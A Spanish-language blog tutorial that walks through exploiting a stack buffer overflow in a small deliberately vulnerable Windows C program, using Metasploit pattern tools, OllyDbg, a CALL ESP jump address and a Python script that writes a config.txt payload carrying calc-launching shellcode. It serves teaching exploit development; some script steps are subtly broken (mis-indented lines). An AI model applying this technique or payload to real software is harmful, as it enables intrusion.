Nuevas Entradas

Desbordando el Buffer Win x86


by hdbreaker
Codigo del Programa a Analizar:
#include <cstdlib>
#include <iostream>

using namespace std;

int main(int argc, char *argv[])
{

char Nombre[20];
FILE *archivo;
char letras[1000];

archivo = fopen("config.txt", "r");
fgets(letras, 1000, archivo);
strcpy(Nombre, letras);

printf("%s\n", Nombre);

system("PAUSE");

fclose;
return EXIT_SUCCESS;

}


Este breve programa en C procede a leer de un archivo de configuración "config.txt" cierta cantidad de letras con el comando fgets, esta instruccion no controla el largo de los datos que recibirá.

La lógica nos dice que si este comando esta preparado para recibir 1000 letras y nostros le enviamos 1001 letras esto podría resultar en un Buffer Overflow y el tipico cartel de corrupción de memoria.

Entendido el Concepto estamos listos para probar si esto es cierto.

Utilizando algun lenguaje de programacion (en mi caso python) empezaremos a preparar el exploit.

Variable = 'A'
for a in range (999):
   Variable = Variable + 'A'
Archivo = open("config.txt","r+")
Archivo.write('%s' %(Variable))
Archivo.close()

Con este simple codigo probaremos el concepto, esto creara un archivo config.txt que contendrá 1000 letras A concatenadas.

Sustituimos el archivo de configuración del programa por el nuestro y vemos como rompe.


Al no tener un control de Excepciones, mejor conocido como Exeption Handling no salta el clásico mensaje informando que el programa se cerro inesperadamente.

Analicemos con Ollydbg:


Vemos el cartel que nos muestra como el EIP ha sido sobre escrito con el hexadecimal 41414141 (AAAA). Hemos Encontrado nuestro BOF y es momento de Explotarlo.
Lo primero que necesitamos es encontrar la dirección exacta donde se realiza la sobre escritura, para eso utilizariamos metasploit

Vamos a nuestra ruta de metasploit y entramos en la carpeta tools

ejecutamos

sudo ./pattern_create.rb 1000

y vemos un string de 1000 caracteres irrepetibles, esto nos servirá a encontrar el largo exacto de la cadena al momento de la sobre escritura


Sustituimos nuestra la variable de nuestro script en python por el string generado con metasploit

queda de esta manera:

Variable = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B'
#for a in range (999):
    #Variable = Variable + 'A'
Variable = Variable
Archivo = open("config.txt","r+")
Archivo.write('%s' %(Variable))
Archivo.close()

Ejecutamos este script en python y sustituimos nuevamente el archivo de configuracion. (config.txt)

Ejecutamos nuevamente con ollydbg y vemos el string exacto en hexadecimal con el que se sustituyo el EIP

Anotamos este numero:
66413965

vamos de nuevo a nuestra ruta de metasploit y ejecutamos:

sudo ./pattern_offset.rb 66413965
Vemos el resultado 148, esto es la dirección exacta de donde comienza el EIP

Exact match at offset 148


Vamos a modificar nuevamente nuestro script en python:

Variable = 'A'
for a in range (147): #Cuenta desde 0 por lo que queda en 148
    Variable = Variable + 'A'
Archivo = open("config.txt","r+")
Archivo.write('%s' %(Variable))
Archivo.close()

Sustituimos nuevamente el archivo de configuración por el nuevo generado por el exploit

Ejecutamos y vemos el siguiente resultado:


Se preguntaran porque se sucede el error el Olly, si estamos escribiendo 148 caracteres y esto nos posiciona justo en el momento de la sobre escritura?

Esto sucede por que los 148 bytes es la distancia de la cadena + los 4 bytes que pisan el EPI, por lo que 148-4 = 144

Esto nos posicionara al comienzo del EIP dejandolo intacto:

Modificamos el Script y lo dejamos asi:

Variable = 'A'
for a in range (143): #Cuenta desde 0 por lo que queda en 144
    Variable = Variable + 'A'
Archivo = open("config.txt","r+")
Archivo.write('%s' %(Variable))
Archivo.close()

Sustituimos el archivo y ejecutamos nuevamente el programa.


Como vemos el programa no rompe lo q significa que no hemos sobre escrito el EIP y con suerte estamos posicionados al pie de nuestro EIP, Probemos esto.

Modificamos Nuestro Script y lo dejamos asi:

Variable = 'A'
EIP = 'BBBB'
for a in range (143): #Cuenta desde 0 por lo que queda en 144
    Variable = Variable + 'A'
Variable = Variable + EIP #Sustituimos los 4 bytes faltantes por una Cadena Identificable que sustituya el EIP   
Archivo = open("config.txt","r+")
Archivo.write('%s' %(Variable))
Archivo.close()

Copiamos el archivo generado por nuestro exploit y ejecutamos nuevamente el programa

Con esto estaremos en el pie del EIP o Relativamente cerca con variaciones de +- 4 bytes, Este no es el caso y vemos que el software sigue rompe por lo q aplicaremos algo que se conoce como acorralar offset

sabemos que la sobre escritura de nuestro EIP se produce dentro de los 148 bytes, por lo que dividiremos esto en 2 cadenas de Bytes una con 'A' y la otra con 'B'.

74 bytes 'A' y 74 bytes 'B'

Nuestro script Quedara:

VariableA = 'A'
VariableB = 'B'
Variable = ''
for a in range (74):
    Variable = Variable + 'A'

for b in range (74):
    Variable = Variable + 'B'
#Variable = Variable + EIP #Sustituimos los 4 bytes faltantes por una Cadena Identificable que sustituya el EIP   
Archivo = open("config.txt","r+")
Archivo.write('%s' %(Variable))
Archivo.close()

copiamos el archivo de configuración y ejecutamos:


Como vemos la sobreescritura es de 41414141 o lo q es lo mismo AAAA

deducimos que la sobre escritura se produce en los primeros 74 bytes.

realizamos nuevamente el procedimiento de pattern_create y pattern_offset de metasploit
creando una cadena al asar e irrepetible de 74 bytes, al ejecutar el programa nuevamente vemos que hemos logrado pisar el EIP con: 35624134

Pasamos: pattern_offset 0x35624134 74

y nos da como resultado 44 bytes, Posiblemente aquí sea donde se sobrescribe el EIP.

Modificamos el Script:

VariableA = 'A'
EIP = 'BBBB'
Variable = ''
for a in range (44):
    Variable = Variable + 'A'
Variable = Variable + EIP #Sustituimos los 4 bytes faltantes por una Cadena Identificable que sustituya el EIP   
Archivo = open("config.txt","r+")
Archivo.write('%s' %(Variable))
Archivo.close()



Como podemos ver EIP ha sido sustituido con 42424242 por lo que hemos logrado encontrar la posición exacta del EIP

procederemos a realizar nuestro exploit con nuestro shellCode:

La estructura de nuestro script sera:

44 Bytes: A (NOPS)
4 bytes: B (EPI)
100 bytes: C (ShellCode)

El Script queda de esta manera:

VariableA = 'A'
EIP = 'BBBB'
Variable = ''
ShellCode = ''
for a in range (44): #Cuenta desde 0 por lo que queda en 144
    Variable = Variable + 'A'
Variable = Variable + EIP #Sustituimos los 4 bytes faltantes por una Cadena Identificable que sustituya el EIP   
for b in range (100):
    ShellCode = ShellCode + 'C'

Variable = Variable+ShellCode

Archivo = open("config.txt","r+")
Archivo.write('%s' %(Variable))
Archivo.close()

Copiamos el archivo de configuración generado a la ruta del software vulnerable y ejecutamos con Ollydbg.


Como podemos ver en los Registros, tenemos:

.EIP  con 42424242 (BBBB)
.ESP con 100 bytes de 'C'

Esto nos indica que debemos realizar un salto con EIP hacia ESP donde nuestra shellCode Tiene un espacio de 100 bytes (espacio que pude variar dependiendo cuanto indagemos) para ser alojada.

Consigamos un Salto a ESP:

Abrimos Con Nuestro OllyDbg el software vulnerable, cliqueamos en la letra E en la barra Superior de Olly (Executable Modules)

Seleccionamos alguna DLL en la lista y vamos damos click derecho seach for --> Command
y buscamos algo q haga referencia a ESP:

JMP ESP
CALL ESP

o alguna variacion matematica que nos pocicione en ESP

POP POP RET
PUSH PUSH POP, etc.

Una ves que llegamos a esto en mi caso un CALL ESP anotamos la dirección y volvemos al script


Modificamos nuestro script de la siguiente forma:
import struct #Importamos libreria Struct

VariableA = 'A'

EIP = struct.pack('<I', 0x7C8369D8) #Creamos el salto y lo colocamos
en la Variable que sustituira EIP

Variable = ''
ShellCode = '' #Creamos Variable que contendra la ShellCode

for a in range (44):
  Variable = Variable + 'A'
  Variable = Variable + EIP #Sustituimos los 4 bytes faltantes por una
  Cadena Identificable que sustituya el EIP

for b in range (100):
  ShellCode = ShellCode + 'C' #Llenamos de C los 100 bytes de la ShellCode.

Variable = Variable+ShellCode
Archivo = open("config.txt","r+")
Archivo.write('%s' %(Variable))

Archivo.close()

copiamos nuestro exploit config.txt al directorio del software vulnerable y ejecutamos con ollydbg, si todo sale bien

no debería salir ningún cartel de dirección invalida de EIP ya que este realizara un salto al pie de ESP (donde se aloja nuestro ShellCode)


Como podemos ver no se produjo ningón error y vemos en el stack que estamos justo una linea antes de nuestras 'C'

(43x100bytes)

Estamos listos para agregar nuestro Shellcode

"\xeB\x02\xBA\xC7\x93\xBF\x77\xFF\xD2\xCC\xE8\xF3\xFF\xFF\xFF\x63\x61\x6C\x63"

Lo colocamos en nuestro Script (En este caso usare una pequeña shellCode que ejecuta una calc en 19 bytes):

import struct #Importamos libreria Struct

VariableA = 'A'

EIP = struct.pack('<I', 0x7C8369D8) #Creamos el salto y lo colocamos
en la Variable que sustituira EIP

Variable = ''

ShellCode = "\xeB\x02\xBA\xC7\x93\xBF\x77\xFF\xD2\xCC\xE8\xF3\xFF\xFF\xFF\x63\x61\
x6C\x63" #Creamos Variable que contendra la ShellCode

for a in range (44):
  Variable = Variable + 'A'
  Variable = Variable + EIP #Sustituimos los 4 bytes faltantes por una
  Cadena Identificable que sustituya el EIP

Variable = Variable+ShellCode

Archivo = open("config.txt","r+")
Archivo.write('%s' %(Variable))
Archivo.close()


y en este momento hemos logrado ejecutar nuestro shellCode con exito.

Saludos!

Share this:

 
Copyright © 2014 Security Signal.
Designed by OddThemes | Distributed By Gooyaabi Templates